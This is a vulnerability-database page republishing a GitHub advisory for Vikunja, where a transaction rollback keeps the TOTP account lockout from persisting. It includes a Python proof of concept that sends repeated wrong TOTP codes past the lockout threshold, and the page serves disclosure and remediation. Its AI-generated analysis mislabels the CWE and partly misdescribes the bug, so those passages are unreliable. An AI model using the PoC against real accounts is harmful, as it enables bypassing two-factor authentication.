EUVD-2026-21422
GHSA-fgfv-pv97-6cmj
Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
Details
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
if err != nil {
if user2.IsErrInvalidTOTPPasscode(err) {
user2.HandleFailedTOTPAuth(s, user)
}
_ = s.Rollback()
return err
}HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Proof of Concept
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
import requests, time, pyotp
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")
# 200 - account was never lockedOutput:
Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
Impact
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Recommended Fix
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
_ = lockoutSession.Rollback()
return
}
_ = lockoutSession.Commit()--- *Found and reported by aisafe.io*
AnalysisAI
Vikunja API brute-forces TOTP codes by exploiting a database transaction rollback bug that prevents account lockout persistence. When TOTP validation fails, the login handler rolls back the database session containing the failed-attempt counter increment and account lock status, leaving the lockout mechanism non-functional while per-IP rate limiting can be bypassed via distributed attack. Unauthenticated remote attackers who possess a user's password can exhaust the 6-digit TOTP code space (only 1 million combinations) and gain unauthorized access. Patch is available as of Vikunja v2.3.0.
Technical ContextAI
Vikunja is a Go-based API application for task/project management that implements TOTP two-factor authentication. The vulnerability resides in the interaction between the login handler (pkg/routes/api/v1/login.go) and the TOTP authentication module (pkg/user/totp.go). When a TOTP passcode validation fails, the login handler invokes HandleFailedTOTPAuth to increment an in-memory failed-attempt counter and, after 10 attempts, write a StatusAccountLocked flag to the user record via database session s. However, the login handler unconditionally calls s.Rollback() on all error paths, which reverses the database write of the account lock status. The in-memory counter increments correctly and subsequent calls execute the lockout code, but the database mutation is discarded on each failure. This is a CWE-307 (Improper Restriction of Rendered UI Layers or Frames) related to authentication bypass through insufficient lockout enforcement. The per-IP rate limit of 10 requests per minute provides some friction but is bypassable via distributed source IPs. The CPE is pkg:go/code.vikunja.io_api.
RemediationAI
Vendor-released patch: Vikunja v2.3.0 and later. The fix, implemented in commit 6ca0151d02fa0e8c7e2181ab916a28e08caaaec8 and merged via PR #2576, modifies HandleFailedTOTPAuth to create and commit its own independent database session for the account lockout operation, ensuring the StatusAccountLocked write persists regardless of the caller's transaction rollback. Immediate action: upgrade all Vikunja instances to v2.3.0 or later. If immediate patching is not feasible, consider temporarily disabling TOTP enforcement or implementing additional per-user IP allowlist controls and monitoring failed TOTP attempts in application logs to detect brute-force activity. Detailed patching guidance is available at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today